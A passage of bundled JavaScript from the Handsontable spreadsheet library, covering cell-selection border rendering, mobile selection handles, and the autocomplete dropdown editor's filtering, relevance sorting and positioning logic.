event.preventDefault(); (0, _event.stopImmediatePropagation)(event); var _this = this; var bounds = parentElement.getBoundingClientRect(); // Hide border to prevents selection jumping when fragmentSelection is enabled. parentElement.style.display = 'none'; function isOutside(mouseEvent) { if (mouseEvent.clientY < Math.floor(bounds.top)) { return true; } if (mouseEvent.clientY > Math.ceil(bounds.top + bounds.height)) { return true; } if (mouseEvent.clientX < Math.floor(bounds.left)) { return true; } if (mouseEvent.clientX > Math.ceil(bounds.left + bounds.width)) { return true; } } function handler(handlerEvent) { if (isOutside(handlerEvent)) { _this.eventManager.removeEventListener(document.body, 'mousemove', handler); parentElement.style.display = 'block'; } } this.eventManager.addEventListener(document.body, 'mousemove', handler); } /** * Create border elements * * @param {Object} settings */ }, { key: "createBorders", value: function createBorders(settings) { this.main = document.createElement('div'); var borderDivs = ['top', 'left', 'bottom', 'right', 'corner']; var style = this.main.style; style.position = 'absolute'; style.top = 0; style.left = 0; for (var i = 0; i < 5; i++) { var position = borderDivs[i]; var div = document.createElement('div'); div.className = "wtBorder ".concat(this.settings.className || ''); // + borderDivs[i]; if (this.settings[position] && this.settings[position].hide) { div.className += ' hidden'; } style = div.style; style.backgroundColor = this.settings[position] && this.settings[position].color ? this.settings[position].color : settings.border.color; style.height = this.settings[position] && this.settings[position].width ? "".concat(this.settings[position].width, "px") : "".concat(settings.border.width, "px"); style.width = this.settings[position] && this.settings[position].width ? "".concat(this.settings[position].width, "px") : "".concat(settings.border.width, "px"); this.main.appendChild(div); } this.top = this.main.childNodes[0]; this.left = this.main.childNodes[1]; this.bottom = this.main.childNodes[2]; this.right = this.main.childNodes[3]; this.topStyle = this.top.style; this.leftStyle = this.left.style; this.bottomStyle = this.bottom.style; this.rightStyle = this.right.style; this.corner = this.main.childNodes[4]; this.corner.className += ' corner'; this.cornerStyle = this.corner.style; this.cornerStyle.width = this.cornerDefaultStyle.width; this.cornerStyle.height = this.cornerDefaultStyle.height; this.cornerStyle.border = [this.cornerDefaultStyle.borderWidth, this.cornerDefaultStyle.borderStyle, this.cornerDefaultStyle.borderColor].join(' '); if ((0, _browser.isMobileBrowser)()) { this.createMultipleSelectorHandles(); } this.disappear(); var bordersHolder = this.wot.wtTable.bordersHolder; if (!bordersHolder) { bordersHolder = document.createElement('div'); bordersHolder.className = 'htBorders'; this.wot.wtTable.bordersHolder = bordersHolder; this.wot.wtTable.spreader.appendChild(bordersHolder); } bordersHolder.appendChild(this.main); } /** * Create multiple selector handler for mobile devices */ }, { key: "createMultipleSelectorHandles", value: function createMultipleSelectorHandles() { var _this3 = this; this.selectionHandles = { topLeft: document.createElement('DIV'), topLeftHitArea: document.createElement('DIV'), bottomRight: document.createElement('DIV'), bottomRightHitArea: document.createElement('DIV') }; var width = 10; var hitAreaWidth = 40; this.selectionHandles.topLeft.className = 'topLeftSelectionHandle'; this.selectionHandles.topLeftHitArea.className = 'topLeftSelectionHandle-HitArea'; this.selectionHandles.bottomRight.className = 'bottomRightSelectionHandle'; this.selectionHandles.bottomRightHitArea.className = 'bottomRightSelectionHandle-HitArea'; this.selectionHandles.styles = { topLeft: this.selectionHandles.topLeft.style, topLeftHitArea: this.selectionHandles.topLeftHitArea.style, bottomRight: this.selectionHandles.bottomRight.style, bottomRightHitArea: this.selectionHandles.bottomRightHitArea.style }; var hitAreaStyle = { position: 'absolute', height: "".concat(hitAreaWidth, "px"), width: "".concat(hitAreaWidth, "px"), 'border-radius': "".concat(parseInt(hitAreaWidth / 1.5, 10), "px") }; (0, _object.objectEach)(hitAreaStyle, function (value, key) { _this3.selectionHandles.styles.bottomRightHitArea[key] = value; _this3.selectionHandles.styles.topLeftHitArea[key] = value; }); var handleStyle = { position: 'absolute', height: "".concat(width, "px"), width: "".concat(width, "px"), 'border-radius': "".concat(parseInt(width / 1.5, 10), "px"), background: '#F5F5FF', border: '1px solid #4285c8' }; (0, _object.objectEach)(handleStyle, function (value, key) { _this3.selectionHandles.styles.bottomRight[key] = value; _this3.selectionHandles.styles.topLeft[key] = value; }); this.main.appendChild(this.selectionHandles.topLeft); this.main.appendChild(this.selectionHandles.bottomRight); this.main.appendChild(this.selectionHandles.topLeftHitArea); this.main.appendChild(this.selectionHandles.bottomRightHitArea); } }, { key: "isPartRange", value: function isPartRange(row, col) { var areaSelection = this.wot.selections.createOrGetArea(); if (areaSelection.cellRange) { if (row !== areaSelection.cellRange.to.row || col !== areaSelection.cellRange.to.col) { return true; } } return false; } }, { key: "updateMultipleSelectionHandlesPosition", value: function updateMultipleSelectionHandlesPosition(row, col, top, left, width, height) { var handleWidth = parseInt(this.selectionHandles.styles.topLeft.width, 10); var hitAreaWidth = parseInt(this.selectionHandles.styles.topLeftHitArea.width, 10); this.selectionHandles.styles.topLeft.top = "".concat(parseInt(top - handleWidth, 10), "px"); this.selectionHandles.styles.topLeft.left = "".concat(parseInt(left - handleWidth, 10), "px"); this.selectionHandles.styles.topLeftHitArea.top = "".concat(parseInt(top - hitAreaWidth / 4 * 3, 10), "px"); this.selectionHandles.styles.topLeftHitArea.left = "".concat(parseInt(left - hitAreaWidth / 4 * 3, 10), "px"); this.selectionHandles.styles.bottomRight.top = "".concat(parseInt(top + height, 10), "px"); this.selectionHandles.styles.bottomRight.left = "".concat(parseInt(left + width, 10), "px"); this.selectionHandles.styles.bottomRightHitArea.top = "".concat(parseInt(top + height - hitAreaWidth / 4, 10), "px"); this.selectionHandles.styles.bottomRightHitArea.left = "".concat(parseInt(left + width - hitAreaWidth / 4, 10), "px"); if (this.settings.border.cornerVisible && this.settings.border.cornerVisible()) { this.selectionHandles.styles.topLeft.display = 'block'; this.selectionHandles.styles.topLeftHitArea.display = 'block'; if (this.isPartRange(row, col)) { this.selectionHandles.styles.bottomRight.display = 'none'; this.selectionHandles.styles.bottomRightHitArea.display = 'none'; } else { this.selectionHandles.styles.bottomRight.display = 'block'; this.selectionHandles.styles.bottomRightHitArea.display = 'block'; } } else { this.selectionHandles.styles.topLeft.display = 'none'; this.selectionHandles.styles.bottomRight.display = 'none'; this.selectionHandles.styles.topLeftHitArea.display = 'none'; this.selectionHandles.styles.bottomRightHitArea.display = 'none'; } if (row === this.wot.wtSettings.getSetting('fixedRowsTop') || col === this.wot.wtSettings.getSetting('fixedColumnsLeft')) { this.selectionHandles.styles.topLeft.zIndex = '9999'; this.selectionHandles.styles.topLeftHitArea.zIndex = '9999'; } else { this.selectionHandles.styles.topLeft.zIndex = ''; this.selectionHandles.styles.topLeftHitArea.zIndex = ''; } } /** * Show border around one or many cells * * @param {Array} corners */ }, { key: "appear", value: function appear(corners) { if (this.disabled) { return; } var fromRow; var toRow; var fromColumn; var toColumn; var rowsCount = this.wot.wtTable.getRenderedRowsCount(); for (var i = 0; i < rowsCount; i += 1) { var s = this.wot.wtTable.rowFilter.renderedToSource(i); if (s >= corners[0] && s <= corners[2]) { fromRow = s; break; } } for (var _i = rowsCount - 1; _i >= 0; _i -= 1) { var _s = this.wot.wtTable.rowFilter.renderedToSource(_i); if (_s >= corners[0] && _s <= corners[2]) { toRow = _s; break; } } var columnsCount = this.wot.wtTable.getRenderedColumnsCount(); for (var _i2 = 0; _i2 < columnsCount; _i2 += 1) { var _s2 = this.wot.wtTable.columnFilter.renderedToSource(_i2); if (_s2 >= corners[1] && _s2 <= corners[3]) { fromColumn = _s2; break; } } for (var _i3 = columnsCount - 1; _i3 >= 0; _i3 -= 1) { var _s3 = this.wot.wtTable.columnFilter.renderedToSource(_i3); if (_s3 >= corners[1] && _s3 <= corners[3]) { toColumn = _s3; break; } } if (fromRow === void 0 || fromColumn === void 0) { this.disappear(); return; } var fromTD = this.wot.wtTable.getCell(new _coords.default(fromRow, fromColumn)); var isMultiple = fromRow !== toRow || fromColumn !== toColumn; var toTD = isMultiple ? this.wot.wtTable.getCell(new _coords.default(toRow, toColumn)) : fromTD; var fromOffset = (0, _element.offset)(fromTD); var toOffset = isMultiple ? (0, _element.offset)(toTD) : fromOffset; var containerOffset = (0, _element.offset)(this.wot.wtTable.TABLE); var minTop = fromOffset.top; var minLeft = fromOffset.left; var left = minLeft - containerOffset.left - 1; var width = toOffset.left + (0, _element.outerWidth)(toTD) - minLeft; if (this.isEntireColumnSelected(fromRow, toRow)) { var modifiedValues = this.getDimensionsFromHeader('columns', fromColumn, toColumn, containerOffset); var fromTH = null; if (modifiedValues) { var _modifiedValues = _slicedToArray(modifiedValues, 3); fromTH = _modifiedValues[0]; left = _modifiedValues[1]; width = _modifiedValues[2]; } if (fromTH) { fromTD = fromTH; } } var top = minTop - containerOffset.top - 1; var height = toOffset.top + (0, _element.outerHeight)(toTD) - minTop; if (this.isEntireRowSelected(fromColumn, toColumn)) { var _modifiedValues2 = this.getDimensionsFromHeader('rows', fromRow, toRow, containerOffset); var _fromTH = null; if (_modifiedValues2) { var _modifiedValues3 = _slicedToArray(_modifiedValues2, 3); _fromTH = _modifiedValues3[0]; top = _modifiedValues3[1]; height = _modifiedValues3[2]; } if (_fromTH) { fromTD = _fromTH; } } var style = (0, _element.getComputedStyle)(fromTD); if (parseInt(style.borderTopWidth, 10) > 0) { top += 1; height = height > 0 ? height - 1 : 0; } if (parseInt(style.borderLeftWidth, 10) > 0) { left += 1; width = width > 0 ? width - 1 : 0; } this.topStyle.top = "".concat(top, "px"); this.topStyle.left = "".concat(left, "px"); this.topStyle.width = "".concat(width, "px"); this.topStyle.display = 'block'; this.leftStyle.top = "".concat(top, "px"); this.leftStyle.left = "".concat(left, "px"); this.leftStyle.height = "".concat(height, "px"); this.leftStyle.display = 'block'; var delta = Math.floor(this.settings.border.width / 2); this.bottomStyle.top = "".concat(top + height - delta, "px"); this.bottomStyle.left = "".concat(left, "px"); this.bottomStyle.width = "".concat(width, "px"); this.bottomStyle.display = 'block'; this.rightStyle.top = "".concat(top, "px"); this.rightStyle.left = "".concat(left + width - delta, "px"); this.rightStyle.height = "".concat(height + 1, "px"); this.rightStyle.display = 'block'; var cornerVisibleSetting = this.settings.border.cornerVisible; cornerVisibleSetting = typeof cornerVisibleSetting === 'function' ? cornerVisibleSetting(this.settings.layerLevel) : cornerVisibleSetting; var hookResult = this.wot.getSetting('onModifyGetCellCoords', toRow, toColumn); var checkRow = toRow, checkCol = toColumn; if (hookResult && Array.isArray(hookResult)) { var _hookResult = _slicedToArray(hookResult, 4); checkRow = _hookResult[2]; checkCol = _hookResult[3]; } if ((0, _browser.isMobileBrowser)() || !cornerVisibleSetting || this.isPartRange(checkRow, checkCol)) { this.cornerStyle.display = 'none'; } else { this.cornerStyle.top = "".concat(top + height - 4, "px"); this.cornerStyle.left = "".concat(left + width - 4, "px"); this.cornerStyle.borderRightWidth = this.cornerDefaultStyle.borderWidth; this.cornerStyle.width = this.cornerDefaultStyle.width; // Hide the fill handle, so the possible further adjustments won't force unneeded scrollbars. this.cornerStyle.display = 'none'; var trimmingContainer = (0, _element.getTrimmingContainer)(this.wot.wtTable.TABLE); var trimToWindow = trimmingContainer === window; if (trimToWindow) { trimmingContainer = document.documentElement; } if (toColumn === this.wot.getSetting('totalColumns') - 1) { var toTdOffsetLeft = trimToWindow ? toTD.getBoundingClientRect().left : toTD.offsetLeft; var cornerRightEdge = toTdOffsetLeft + (0, _element.outerWidth)(toTD) + parseInt(this.cornerDefaultStyle.width, 10) / 2; var cornerOverlappingContainer = cornerRightEdge >= (0, _element.innerWidth)(trimmingContainer); if (cornerOverlappingContainer) { this.cornerStyle.left = "".concat(Math.floor(left + width - 3 - parseInt(this.cornerDefaultStyle.width, 10) / 2), "px"); this.cornerStyle.borderRightWidth = 0; } } if (toRow === this.wot.getSetting('totalRows') - 1) { var toTdOffsetTop = trimToWindow ? toTD.getBoundingClientRect().top : toTD.offsetTop; var cornerBottomEdge = toTdOffsetTop + (0, _element.outerHeight)(toTD) + parseInt(this.cornerDefaultStyle.height, 10) / 2; var _cornerOverlappingContainer = cornerBottomEdge >= (0, _element.innerHeight)(trimmingContainer); if (_cornerOverlappingContainer) { this.cornerStyle.top = "".concat(Math.floor(top + height - 3 - parseInt(this.cornerDefaultStyle.height, 10) / 2), "px"); this.cornerStyle.borderBottomWidth = 0; } } this.cornerStyle.display = 'block'; } if ((0, _browser.isMobileBrowser)()) { this.updateMultipleSelectionHandlesPosition(toRow, toColumn, top, left, width, height); } } /** * Check whether an entire column of cells is selected. * * @private * @param {Number} startRowIndex Start row index. * @param {Number} endRowIndex End row index. */ }, { key: "isEntireColumnSelected", value: function isEntireColumnSelected(startRowIndex, endRowIndex) { return startRowIndex === this.wot.wtTable.getFirstRenderedRow() && endRowIndex === this.wot.wtTable.getLastRenderedRow(); } /** * Check whether an entire row of cells is selected. * * @private * @param {Number} startColumnIndex Start column index. * @param {Number} endColumnIndex End column index. */ }, { key: "isEntireRowSelected", value: function isEntireRowSelected(startColumnIndex, endColumnIndex) { return startColumnIndex === this.wot.wtTable.getFirstRenderedColumn() && endColumnIndex === this.wot.wtTable.getLastRenderedColumn(); } /** * Get left/top index and width/height depending on the `direction` provided. * * @private * @param {String} direction `rows` or `columns`, defines if an entire column or row is selected. * @param {Number} fromIndex Start index of the selection. * @param {Number} toIndex End index of the selection. * @param {Number} containerOffset offset of the container. * @return {Array|Boolean} Returns an array of [headerElement, left, width] or [headerElement, top, height], depending on `direction` (`false` in case of an error getting the headers). */ }, { key: "getDimensionsFromHeader", value: function getDimensionsFromHeader(direction, fromIndex, toIndex, containerOffset) { var _this4 = this; var rootHotElement = this.wot.wtTable.wtRootElement.parentNode; var getHeaderFn = null; var dimensionFn = null; var entireSelectionClassname = null; var index = null; var dimension = null; var dimensionProperty = null; var startHeader = null; var endHeader = null; switch (direction) { case 'rows': getHeaderFn = function getHeaderFn() { var _this4$wot$wtTable; return (_this4$wot$wtTable = _this4.wot.wtTable).getRowHeader.apply(_this4$wot$wtTable, arguments); }; dimensionFn = function dimensionFn() { return _element.outerHeight.apply(void 0, arguments); }; entireSelectionClassname = 'ht__selection--rows'; dimensionProperty = 'top'; break; case 'columns': getHeaderFn = function getHeaderFn() { var _this4$wot$wtTable2; return (_this4$wot$wtTable2 = _this4.wot.wtTable).getColumnHeader.apply(_this4$wot$wtTable2, arguments); }; dimensionFn = function dimensionFn() { return _element.outerWidth.apply(void 0, arguments); }; entireSelectionClassname = 'ht__selection--columns'; dimensionProperty = 'left'; break; default: } if (rootHotElement.className.includes(entireSelectionClassname)) { var columnHeaderLevelCount = this.wot.getSetting('columnHeaders').length; startHeader = getHeaderFn(fromIndex, columnHeaderLevelCount - 1); endHeader = getHeaderFn(toIndex, columnHeaderLevelCount - 1); if (!startHeader || !endHeader) { return false; } var startHeaderOffset = (0, _element.offset)(startHeader); var endOffset = (0, _element.offset)(endHeader); if (startHeader && endHeader) { index = startHeaderOffset[dimensionProperty] - containerOffset[dimensionProperty] - 1; dimension = endOffset[dimensionProperty] + dimensionFn(endHeader) - startHeaderOffset[dimensionProperty]; } return [startHeader, index, dimension]; } return false; } /** * Change border style. * * @private * @param {String} borderElement Coordinate where add/remove border: top, right, bottom, left. */ }, { key: "changeBorderStyle", value: function changeBorderStyle(borderElement, border) { var style = this[borderElement].style; var borderStyle = border[borderElement]; if (!borderStyle || borderStyle.hide) { (0, _element.addClass)(this[borderElement], 'hidden'); } else { if ((0, _element.hasClass)(this[borderElement], 'hidden')) { (0, _element.removeClass)(this[borderElement], 'hidden'); } style.backgroundColor = borderStyle.color; if (borderElement === 'top' || borderElement === 'bottom') { style.height = "".concat(borderStyle.width, "px"); } if (borderElement === 'right' || borderElement === 'left') { style.width = "".concat(borderStyle.width, "px"); } } } /** * Change border style to default. * * @private * @param {HTMLElement} position */ }, { key: "changeBorderToDefaultStyle", value: function changeBorderToDefaultStyle(position) { var defaultBorder = { width: 1, color: '#000' }; var style = this[position].style; style.backgroundColor = defaultBorder.color; style.width = "".concat(defaultBorder.width, "px"); style.height = "".concat(defaultBorder.width, "px"); } /** * Toggle class 'hidden' to element. * * @private * @param {String} borderElement Coordinate where add/remove border: top, right, bottom, left. * @return {Boolean} */ }, { key: "toggleHiddenClass", value: function toggleHiddenClass(borderElement, remove) { this.changeBorderToDefaultStyle(borderElement); if (remove) { (0, _element.addClass)(this[borderElement], 'hidden'); } else { (0, _element.removeClass)(this[borderElement], 'hidden'); } } /** * Hide border */ }, { key: "disappear", value: function disappear() { this.topStyle.display = 'none'; this.leftStyle.display = 'none'; this.bottomStyle.display = 'none'; this.rightStyle.display = 'none'; this.cornerStyle.display = 'none'; if ((0, _browser.isMobileBrowser)()) { this.selectionHandles.styles.topLeft.display = 'none'; this.selectionHandles.styles.bottomRight.display = 'none'; } } }]); return Border; }(); var _default = Border; exports.default = _default; /***/ }), /* 294 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _unicode = __webpack_require__(32); var _mixed = __webpack_require__(14); var _string = __webpack_require__(48); var _array = __webpack_require__(3); var _element = __webpack_require__(1); var _handsontableEditor = _interopRequireDefault(__webpack_require__(295)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var AutocompleteEditor = _handsontableEditor.default.prototype.extend(); /** * @private * @editor AutocompleteEditor * @class AutocompleteEditor * @dependencies HandsontableEditor */ AutocompleteEditor.prototype.init = function () { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } _handsontableEditor.default.prototype.init.apply(this, args); this.query = null; this.strippedChoices = []; this.rawChoices = []; }; AutocompleteEditor.prototype.getValue = function () { var _this2 = this; var selectedValue = this.rawChoices.find(function (value) { var strippedValue = _this2.stripValueIfNeeded(value); return strippedValue === _this2.TEXTAREA.value; }); if ((0, _mixed.isDefined)(selectedValue)) { return selectedValue; } return this.TEXTAREA.value; }; AutocompleteEditor.prototype.createElements = function () { for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { args[_key2] = arguments[_key2]; } _handsontableEditor.default.prototype.createElements.apply(this, args); (0, _element.addClass)(this.htContainer, 'autocompleteEditor'); (0, _element.addClass)(this.htContainer, window.navigator.platform.indexOf('Mac') === -1 ? '' : 'htMacScroll'); }; var skipOne = false; function onBeforeKeyDown(event) { skipOne = false; var editor = this.getActiveEditor(); if ((0, _unicode.isPrintableChar)(event.keyCode) || event.keyCode === _unicode.KEY_CODES.BACKSPACE || event.keyCode === _unicode.KEY_CODES.DELETE || event.keyCode === _unicode.KEY_CODES.INSERT) { var timeOffset = 0; // on ctl+c / cmd+c don't update suggestion list if (event.keyCode === _unicode.KEY_CODES.C && (event.ctrlKey || event.metaKey)) { return; } if (!editor.isOpened()) { timeOffset += 10; } if (editor.htEditor) { editor.instance._registerTimeout(function () { editor.queryChoices(editor.TEXTAREA.value); skipOne = true; }, timeOffset); } } } AutocompleteEditor.prototype.prepare = function () { for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) { args[_key3] = arguments[_key3]; } _handsontableEditor.default.prototype.prepare.apply(this, args); }; AutocompleteEditor.prototype.open = function () { this.instance.addHook('beforeKeyDown', onBeforeKeyDown); // Ugly fix for handsontable which grab window object for autocomplete scroll listener instead table element. this.TEXTAREA_PARENT.style.overflow = 'auto'; for (var _len4 = arguments.length, args = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) { args[_key4] = arguments[_key4]; } _handsontableEditor.default.prototype.open.apply(this, args); this.TEXTAREA_PARENT.style.overflow = ''; var choicesListHot = this.htEditor.getInstance(); var _this = this; var trimDropdown = this.cellProperties.trimDropdown === void 0 ? true : this.cellProperties.trimDropdown; this.showEditableElement(); this.focus(); choicesListHot.updateSettings({ colWidths: trimDropdown ? [(0, _element.outerWidth)(this.TEXTAREA) - 2] : void 0, width: trimDropdown ? (0, _element.outerWidth)(this.TEXTAREA) + (0, _element.getScrollbarWidth)() + 2 : void 0, afterRenderer: function afterRenderer(TD, row, col, prop, value) { var _this$cellProperties = _this.cellProperties, filteringCaseSensitive = _this$cellProperties.filteringCaseSensitive, allowHtml = _this$cellProperties.allowHtml; var cellValue = (0, _mixed.stringify)(value); var indexOfMatch; var match; if (cellValue && !allowHtml) { indexOfMatch = filteringCaseSensitive === true ? cellValue.indexOf(this.query) : cellValue.toLowerCase().indexOf(_this.query.toLowerCase()); if (indexOfMatch !== -1) { match = cellValue.substr(indexOfMatch, _this.query.length); cellValue = cellValue.replace(match, "".concat(match, "")); } } TD.innerHTML = cellValue; }, autoColumnSize: true, modifyColWidth: function modifyColWidth(width, col) { // workaround for text overlapping the dropdown, not really accurate var autoWidths = this.getPlugin('autoColumnSize').widths; var columnWidth = width; if (autoWidths[col]) { columnWidth = autoWidths[col]; } return trimDropdown ? columnWidth : columnWidth + 15; } }); // Add additional space for autocomplete holder this.htEditor.view.wt.wtTable.holder.parentNode.style['padding-right'] = "".concat((0, _element.getScrollbarWidth)() + 2, "px"); if (skipOne) { skipOne = false; } _this.instance._registerTimeout(function () { _this.queryChoices(_this.TEXTAREA.value); }); }; AutocompleteEditor.prototype.queryChoices = function (query) { var _this3 = this; this.query = query; var source = this.cellProperties.source; if (typeof source === 'function') { source.call(this.cellProperties, query, function (choices) { _this3.rawChoices = choices; _this3.updateChoicesList(_this3.stripValuesIfNeeded(choices)); }); } else if (Array.isArray(source)) { this.rawChoices = source; this.updateChoicesList(this.stripValuesIfNeeded(source)); } else { this.updateChoicesList([]); } }; AutocompleteEditor.prototype.updateChoicesList = function (choicesList) { var pos = (0, _element.getCaretPosition)(this.TEXTAREA); var endPos = (0, _element.getSelectionEndPosition)(this.TEXTAREA); var sortByRelevanceSetting = this.cellProperties.sortByRelevance; var filterSetting = this.cellProperties.filter; var orderByRelevance = null; var highlightIndex = null; var choices = choicesList; if (sortByRelevanceSetting) { orderByRelevance = AutocompleteEditor.sortByRelevance(this.stripValueIfNeeded(this.getValue()), choices, this.cellProperties.filteringCaseSensitive); } var orderByRelevanceLength = Array.isArray(orderByRelevance) ? orderByRelevance.length : 0; if (filterSetting === false) { if (orderByRelevanceLength) { highlightIndex = orderByRelevance[0]; } } else { var sorted = []; for (var i = 0, choicesCount = choices.length; i < choicesCount; i++) { if (sortByRelevanceSetting && orderByRelevanceLength <= i) { break; } if (orderByRelevanceLength) { sorted.push(choices[orderByRelevance[i]]); } else { sorted.push(choices[i]); } } highlightIndex = 0; choices = sorted; } this.strippedChoices = choices; this.htEditor.loadData((0, _array.pivot)([choices])); this.updateDropdownHeight(); this.flipDropdownIfNeeded(); if (this.cellProperties.strict === true) { this.highlightBestMatchingChoice(highlightIndex); } this.instance.listen(false); (0, _element.setCaretPosition)(this.TEXTAREA, pos, pos === endPos ? void 0 : endPos); }; AutocompleteEditor.prototype.flipDropdownIfNeeded = function () { var textareaOffset = (0, _element.offset)(this.TEXTAREA); var textareaHeight = (0, _element.outerHeight)(this.TEXTAREA); var dropdownHeight = this.getDropdownHeight(); var trimmingContainer = (0, _element.getTrimmingContainer)(this.instance.view.wt.wtTable.TABLE); var trimmingContainerScrollTop = trimmingContainer.scrollTop; var headersHeight = (0, _element.outerHeight)(this.instance.view.wt.wtTable.THEAD); var containerOffset = { row: 0, col: 0 }; if (trimmingContainer !== window) { containerOffset = (0, _element.offset)(trimmingContainer); } var spaceAbove = textareaOffset.top - containerOffset.top - headersHeight + trimmingContainerScrollTop; var spaceBelow = trimmingContainer.scrollHeight - spaceAbove - headersHeight - textareaHeight; var flipNeeded = dropdownHeight > spaceBelow && spaceAbove > spaceBelow; if (flipNeeded) { this.flipDropdown(dropdownHeight); } else { this.unflipDropdown(); } this.limitDropdownIfNeeded(flipNeeded ? spaceAbove : spaceBelow, dropdownHeight); return flipNeeded; }; AutocompleteEditor.prototype.limitDropdownIfNeeded = function (spaceAvailable, dropdownHeight) { if (dropdownHeight > spaceAvailable) { var tempHeight = 0; var i = 0; var lastRowHeight = 0; var height = null; do { lastRowHeight = this.htEditor.getRowHeight(i) || this.htEditor.view.wt.wtSettings.settings.defaultRowHeight; tempHeight += lastRowHeight; i += 1; } while (tempHeight < spaceAvailable); height = tempHeight - lastRowHeight; if (this.htEditor.flipped) { this.htEditor.rootElement.style.top = "".concat(parseInt(this.htEditor.rootElement.style.top, 10) + dropdownHeight - height, "px"); } this.setDropdownHeight(tempHeight - lastRowHeight); } }; AutocompleteEditor.prototype.flipDropdown = function (dropdownHeight) { var dropdownStyle = this.htEditor.rootElement.style; dropdownStyle.position = 'absolute'; dropdownStyle.top = "".concat(-dropdownHeight, "px"); this.htEditor.flipped = true; }; AutocompleteEditor.prototype.unflipDropdown = function () { var dropdownStyle = this.htEditor.rootElement.style; if (dropdownStyle.position === 'absolute') { dropdownStyle.position = ''; dropdownStyle.top = ''; } this.htEditor.flipped = void 0; }; AutocompleteEditor.prototype.updateDropdownHeight = function () { var currentDropdownWidth = this.htEditor.getColWidth(0) + (0, _element.getScrollbarWidth)() + 2; var trimDropdown = this.cellProperties.trimDropdown; this.htEditor.updateSettings({ height: this.getDropdownHeight(), width: trimDropdown ? void 0 : currentDropdownWidth }); this.htEditor.view.wt.wtTable.alignOverlaysWithTrimmingContainer(); }; AutocompleteEditor.prototype.setDropdownHeight = function (height) { this.htEditor.updateSettings({ height: height }); }; AutocompleteEditor.prototype.finishEditing = function (restoreOriginalValue) { for (var _len5 = arguments.length, args = new Array(_len5 > 1 ? _len5 - 1 : 0), _key5 = 1; _key5 < _len5; _key5++) { args[_key5 - 1] = arguments[_key5]; } _handsontableEditor.default.prototype.finishEditing.apply(this, [restoreOriginalValue].concat(args)); }; AutocompleteEditor.prototype.highlightBestMatchingChoice = function (index) { if (typeof index === 'number') { this.htEditor.selectCell(index, 0, void 0, void 0, void 0, false); } else { this.htEditor.deselectCell(); } }; /** * Filters and sorts by relevance * @param value * @param choices * @param caseSensitive * @returns {Array} array of indexes in original choices array */ AutocompleteEditor.sortByRelevance = function (value, choices, caseSensitive) { var choicesRelevance = []; var currentItem; var valueLength = value.length; var valueIndex; var charsLeft; var result = []; var i; var choicesCount = choices.length; if (valueLength === 0) { for (i = 0; i < choicesCount; i++) { result.push(i); } return result; } for (i = 0; i < choicesCount; i++) { currentItem = (0, _string.stripTags)((0, _mixed.stringify)(choices[i])); if (caseSensitive) { valueIndex = currentItem.indexOf(value); } else { valueIndex = currentItem.toLowerCase().indexOf(value.toLowerCase()); } if (valueIndex !== -1) { charsLeft = currentItem.length - valueIndex - valueLength; choicesRelevance.push({ baseIndex: i, index: valueIndex, charsLeft: charsLeft, value: currentItem }); } } choicesRelevance.sort(function (a, b) { if (b.index === -1) { return -1; } if (a.index === -1) { return 1; } if (a.index < b.index) { return -1; } else if (b.index < a.index) { return 1; } else if (a.index === b.index) { if (a.charsLeft < b.charsLeft) { return -1; } else if (a.charsLeft > b.charsLeft) { return 1; } } return 0; }); for (i = 0, choicesCount = choicesRelevance.length; i < choicesCount; i++) { result.push(choicesRelevance[i].baseIndex); } return result; }; AutocompleteEditor.prototype.getDropdownHeight = function () { var firstRowHeight = this.htEditor.getInstance().getRowHeight(0) || 23; var visibleRows = this.cellProperties.visibleRows; return this.strippedChoices.length >= visibleRows ? visibleRows * firstRowHeight : this.strippedChoices.length * firstRowHeight + 8; }; AutocompleteEditor.prototype.stripValueIfNeeded = function (value) { return this.stripValuesIfNeeded([value])[0]; }; AutocompleteEditor.prototype.stripValuesIfNeeded = function (values) { var allowHtml = this.cellProperties.allowHtml; var stringifiedValues = (0, _array.arrayMap)(values, function (value) { return (0, _mixed.stringify)(value); }); var strippedValues = (0, _array.arrayMap)(stringifiedValues, function (value) { return allowHtml ? value : (0, _string.stripTags)(value); }); return strippedValues; }; AutocompleteEditor.prototype.allowKeyEventPropagation = function (keyCode) { var selectedRange = this.htEditor.getSelectedRangeLast(); var selected = { row: selectedRange ? selectedRange.from.row : -1 }; var allowed = false; if (keyCode === _unicode.KEY_CODES.ARROW_DOWN && selected.row > 0 && selected.row < this.htEditor.countRows() - 1) { allowed = true; } if (keyCode === _unicode.KEY_CODES.ARROW_UP && selected.row > -1) { allowed = true; } return allowed; }; AutocompleteEditor.prototype.close = function () { this.instance.removeHook('beforeKeyDown', onBeforeKeyDown); for (var _len6 = arguments.length, args = new Array(_len6), _key6 = 0; _key6 < _len6; _key6++) { args[_key6] = arguments[_key6]; } _handsontableEditor.default.prototype.close.apply(this, args); }; AutocompleteEditor.prototype.discardEditor = function () { for (var _len7 = arguments.length, args = new Array(_len7), _key7 = 0; _key7 < _len7; _key7++) { args[_key7] = arguments[_key7]; } _handsontableEditor.default.prototype.discardEditor.apply(this, args); this.instance.view.render(); }; var _default = AutocompleteEditor; exports.default = _default; /***/ }), /* 295 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _unicode = __webpack_require__(32); var _object = __webpack_require__(2); var _element = __webpack_require__(1); var _event = __webpack_require__(18); var _textEditor = _interopRequireDefault(__webpack_require__(77)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HandsontableEditor = _textEditor.default.prototype.extend(); /** * @private * @editor HandsontableEditor * @class HandsontableEditor * @dependencies TextEditor */ HandsontableEditor.prototype.createElements = function () { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } _textEditor.default.prototype.createElements.apply(this, args); var DIV = document.createElement('DIV'); DIV.className = 'handsontableEditor'; this.TEXTAREA_PARENT.appendChild(DIV); this.htContainer = DIV; this.assignHooks(); }; HandsontableEditor.prototype.prepare = function (td, row, col, prop, value, cellProperties) { for (var _len2 = arguments.length, args = new Array(_len2 > 6 ? _len2 - 6 : 0), _key2 = 6; _key2 < _len2; _key2++) { args[_key2 - 6] = arguments[_key2]; } _textEditor.default.prototype.prepare.apply(this, [td, row, col, prop, 